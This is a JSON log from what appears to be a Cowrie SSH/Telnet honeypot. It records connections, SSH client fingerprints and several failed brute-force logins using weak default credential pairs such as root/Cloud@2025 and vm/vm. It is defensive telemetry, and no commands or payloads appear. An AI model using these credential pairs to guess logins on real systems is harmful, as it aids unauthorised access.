{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:30.053319Z","src_ip":"95.38.165.118","session":"87d645d054dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:31.231848Z","src_ip":"95.38.165.118","session":"87d645d054dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.19710659980774,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:32.764967Z","src_ip":"69.4.83.194","session":"6bc2047087dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57670,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fd95eaa08c6","protocol":"ssh","message":"New connection: 95.38.165.118:57670 (10.17.0.5:22) [session: 3fd95eaa08c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:34.497374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:34.559452Z","src_ip":"95.38.165.118","session":"3fd95eaa08c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:34.665604Z","src_ip":"95.38.165.118","session":"3fd95eaa08c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:36.270789Z","src_ip":"95.38.165.118","session":"3fd95eaa08c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":46270,"dst_ip":"10.17.0.5","dst_port":22,"session":"e50405849655","protocol":"ssh","message":"New connection: 62.133.63.178:46270 (10.17.0.5:22) [session: e50405849655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:36.922865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:36.927509Z","src_ip":"62.133.63.178","session":"e50405849655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:37.051131Z","src_ip":"62.133.63.178","session":"e50405849655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opelastra","message":"login attempt [root/opelastra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:37.422888Z","src_ip":"62.133.63.178","session":"e50405849655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:37.701246Z","src_ip":"95.38.165.118","session":"3fd95eaa08c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:38.548938Z","src_ip":"62.133.63.178","session":"e50405849655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42560,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a4ab2e22375","protocol":"ssh","message":"New connection: 95.38.165.118:42560 (10.17.0.5:22) [session: 5a4ab2e22375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:39.847358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:39.886855Z","src_ip":"95.38.165.118","session":"5a4ab2e22375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:40.013716Z","src_ip":"95.38.165.118","session":"5a4ab2e22375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:44.025576Z","src_ip":"95.38.165.118","session":"5a4ab2e22375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42570,"dst_ip":"10.17.0.5","dst_port":22,"session":"65e3cba04e95","protocol":"ssh","message":"New connection: 95.38.165.118:42570 (10.17.0.5:22) [session: 65e3cba04e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:45.160085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:45.165537Z","src_ip":"95.38.165.118","session":"65e3cba04e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:45.189805Z","src_ip":"95.38.165.118","session":"5a4ab2e22375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:45.330475Z","src_ip":"95.38.165.118","session":"65e3cba04e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:45.876039Z","src_ip":"95.38.165.118","session":"65e3cba04e95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":48110,"dst_ip":"159.203.135.109","dst_port":22,"session":"5427f1f70298","protocol":"ssh","message":"New connection: 77.239.106.153:48110 (159.203.135.109:22) [session: 5427f1f70298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:46.004000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:46.009460Z","src_ip":"77.239.106.153","session":"5427f1f70298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:46.099789Z","src_ip":"77.239.106.153","session":"5427f1f70298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.79008769989014,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:46.261295Z","src_ip":"180.235.129.180","session":"b02fe55e23a6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@2025","message":"login attempt [root/Cloud@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:46.487968Z","src_ip":"77.239.106.153","session":"5427f1f70298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:47.055322Z","src_ip":"95.38.165.118","session":"65e3cba04e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:47.580523Z","src_ip":"77.239.106.153","session":"5427f1f70298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50104,"dst_ip":"159.203.135.109","dst_port":23,"session":"d561af329051","protocol":"telnet","message":"New connection: 69.4.83.194:50104 (159.203.135.109:23) [session: d561af329051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:49.819865Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52722,"dst_ip":"10.17.0.5","dst_port":22,"session":"a66dbc412db4","protocol":"ssh","message":"New connection: 95.38.165.118:52722 (10.17.0.5:22) [session: a66dbc412db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:50.353391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:50.519933Z","src_ip":"95.38.165.118","session":"a66dbc412db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:51.729656Z","src_ip":"95.38.165.118","session":"a66dbc412db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:52.244193Z","src_ip":"95.38.165.118","session":"a66dbc412db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:53.417383Z","src_ip":"95.38.165.118","session":"a66dbc412db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45022,"dst_ip":"10.17.0.5","dst_port":22,"session":"d662c6eb64ec","protocol":"ssh","message":"New connection: 95.38.165.118:45022 (10.17.0.5:22) [session: d662c6eb64ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:56.182042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:56.208221Z","src_ip":"95.38.165.118","session":"d662c6eb64ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:56.343904Z","src_ip":"95.38.165.118","session":"d662c6eb64ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:57.452889Z","src_ip":"95.38.165.118","session":"d662c6eb64ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:58.614894Z","src_ip":"95.38.165.118","session":"d662c6eb64ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45026,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e68ae070558","protocol":"ssh","message":"New connection: 95.38.165.118:45026 (10.17.0.5:22) [session: 7e68ae070558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:01.650813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:01.657613Z","src_ip":"95.38.165.118","session":"7e68ae070558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":58878,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a086a333b10","protocol":"ssh","message":"New connection: 43.245.97.82:58878 (159.203.135.109:22) [session: 5a086a333b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:02.089787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:02.096787Z","src_ip":"43.245.97.82","session":"5a086a333b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:02.353331Z","src_ip":"43.245.97.82","session":"5a086a333b10","protocol":"ssh"}
